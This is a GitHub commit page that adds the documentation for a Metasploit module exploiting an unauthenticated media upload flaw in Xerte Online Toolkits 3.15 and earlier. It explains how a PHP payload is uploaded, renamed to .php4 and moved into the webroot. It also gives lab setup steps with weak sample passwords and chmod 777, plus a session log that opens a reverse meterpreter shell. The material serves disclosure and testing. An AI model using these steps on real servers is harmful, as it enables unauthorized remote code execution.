Skip to content

Commit b357d1d

Browse files
bootstrapboolbootstrapbool
committed
Adds xerte online toolkits media upload exploit
1 parent 7c4f15a commit b357d1d

2 files changed

Lines changed: 419 additions & 0 deletions

File tree

‎documentation/modules/exploit/multi/http/xerte_unauthenticated_mediaupload.md‎

Lines changed: 161 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,161 @@
1+
## Vulnerable Application
2+
3+
This module exploits authentication failure, extension blacklist, and path
4+
traversal vulnerabilities in Xerte Online Toolkits versions 3.15 (at commit
5+
4e40f8030a2e3267267db7ce03e0ff57270be6f5 as they do not use patch versions)
6+
and earlier.
7+
8+
The vulnerabilities exists in the /editor/elfinder/php/connector.php endpoint
9+
which which fails to kill execution after redirecting unauthenticated users.
10+
A file with a php payload can be uploaded and then moved outside of a user's
11+
directory to the webroot by using the elfinder "rename" functionality. Because
12+
of an improper use of regex in the file extension filter, the file can be
13+
renamed to have a .php4 extension, thus allowing remote code execution.
14+
15+
Tested Xerte Online Toolkits versions 3.15, 3.14, and 3.13 on Ubuntu 24.04 and
16+
3.15 on Windows 10.
17+
18+
## Setup
19+
20+
See installation [instructions](
21+
https://github.com/thexerteproject/xerteonlinetoolkits/blob/develop/documentation/ToolkitsInstallationGuide.pdf)
22+
23+
### Update
24+
25+
~~~bash
26+
sudo apt update && sudo apt upgrade
27+
~~~
28+
29+
### Install XAMPP
30+
31+
Download XAMPP from https://sourceforge.net/projects/xampp/
32+
33+
~~~bash
34+
sudo ~/Downloads/xampp-linux-x64-8.2.12-0-installer.run
35+
~~~
36+
37+
### Install Xerte Online Toolkits
38+
39+
~~~
40+
cd /opt/lampp/htdocs
41+
sudo git clone https://github.com/thexerteproject/xerteonlinetoolkits
42+
sudo mv xerteonlinetoolkits xt
43+
cd xt
44+
sudo git fetch --all
45+
sudo git checkout -b master origin/master
46+
sudo git checkout 4e40f8030a2e3267267db7ce03e0ff57270be6f5
47+
~~~
48+
49+
### Start Apache and MySQL via Xampp
50+
51+
To start the xampp management console:
52+
53+
~~~bash
54+
sudo /opt/lampp/manager-linux-x64.run
55+
~~~
56+
57+
Then ensure Apache and MySQL are running.
58+
59+
### Setup MySQL
60+
61+
~~~bash
62+
sudo /opt/lampp/bin/mysql
63+
use mysql
64+
CREATE USER 'xerteadmin'@'localhost' IDENTIFIED BY 'password123';
65+
GRANT ALL PRIVILEGES on *.* to 'xerteadmin'@'localhost' IDENTIFIED BY 'password123';
66+
FLUSH PRIVILEGES;
67+
exit
68+
~~~
69+
70+
### Setup Xerte
71+
72+
Navigate to `http://localhost/xt/setup/`
73+
74+
1. Click "Install"
75+
2. Verify System Requirements are good.
76+
3. Click "Next"
77+
4. Run `sudo chmod 777 /opt/lampp/htdocs/xt/{.,setup,USER-FILES,error_logs,import}`
78+
5. Click "Next" until you get to /setup/page1.php
79+
6. Verify all Module Checks
80+
7. Enter the user information you created before "xerteadmin:password123"
81+
8. Ensure the database user info is same as before, click "Next"
82+
9. Create Admin Account "admin1:admin123"
83+
10. On page3.php scroll to bottom and select "Db" authentication in the "Choose an authentication method" dropdown
84+
11. Hit Save
85+
86+
### Create Normal User
87+
88+
http://localhost/xt/index.php
89+
90+
Sign in as the admin created in previous step "admin1:admin123"
91+
92+
Users > Manage Db auth users
93+
94+
Login name: user1
95+
First name: fName
96+
Last name: lName
97+
Password: user123
98+
Email: <leave blank>
99+
100+
Hit "Create user" then logout
101+
102+
### Create A Template
103+
104+
Sign into the new user at http://localhost/xt (or whatever the directory you
105+
created under htdocs is)
106+
107+
On the very right side of the application under "Project Templates" click the
108+
"Create" button under the "Xerte Online Toolkit" ribbon.
109+
110+
You should be prompted for a name for the new template. Use whatever name and
111+
click "Create" again. Close out of the Template editor that opens up. You can
112+
click "Cancel" or "Ok" when prompted to Publish the changes, doesn't matter
113+
which.
114+
115+
## Verification Steps
116+
117+
1. Start `msfconsole`
118+
2. `use exploit/multi/http/xerte_unauthenticated_mediaupload`
119+
3. `set RHOSTS <target>`
120+
4. `set TARGETURI <uri to xerte>` (e.g., `xerteonlinetoolkits/`)
121+
5. `set LHOST <your_ip>`
122+
6. `set username <valid user>`
123+
7. `exploit`
124+
125+
On success a meterpreter session will be started
126+
If no WEBROOT argument is provided, one is automatically detected and used
127+
128+
## Options
129+
130+
### WEBROOT
131+
132+
The full filepath to the application root. For example /var/www/html/
133+
134+
If not given, the module will try to detect the webroot from the setup/ endpoint.
135+
136+
## Scenarios
137+
138+
### Exploiting Xerte Online Toolkits to obtain Meterpreter Session
139+
140+
~~~
141+
msf > use exploit/multi/http/xerte_unauthenticated_mediaupload
142+
[*] Using configured payload php/meterpreter_reverse_tcp
143+
msf exploit(multi/http/xerte_unauthenticated_mediaupload) > set rhosts 10.0.0.45
144+
rhosts => 10.0.0.45
145+
msf exploit(multi/http/xerte_unauthenticated_mediaupload) > set targeturi xt
146+
targeturi => xt
147+
msf exploit(multi/http/xerte_unauthenticated_mediaupload) > set webroot /opt/lampp/htdocs/xt
148+
webroot => /opt/lampp/htdocs/xt
149+
msf exploit(multi/http/xerte_unauthenticated_mediaupload) > set username user1
150+
username => user1
151+
msf exploit(multi/http/xerte_unauthenticated_mediaupload) > set lhost 10.0.0.218
152+
lhost => 10.0.0.218
153+
msf exploit(multi/http/xerte_unauthenticated_mediaupload) > run
154+
[*] Started reverse TCP handler on 10.0.0.218:4444
155+
[*] Running automatic check ("set AutoCheck false" to disable)
156+
[+] The target is vulnerable.
157+
[*] Meterpreter session 1 opened (10.0.0.218:4444 -> 10.0.0.45:40848) at 2026-04-24 10:35:38 -0400
158+
[!] This exploit may require manual cleanup of '/opt/lampp/htdocs/xt/USER-FILES/1-user1-Nottingham/veYtVoJC' on the target
159+
[!] This exploit may require manual cleanup of '/opt/lampp/htdocs/xt/USER-FILES/1-user1-Nottingham/veYtVoJC.txt' on the target
160+
[!] This exploit may require manual cleanup of '/opt/lampp/htdocs/xt/veYtVoJC.php4' on the target
161+
~~~

0 commit comments

Comments
 (0)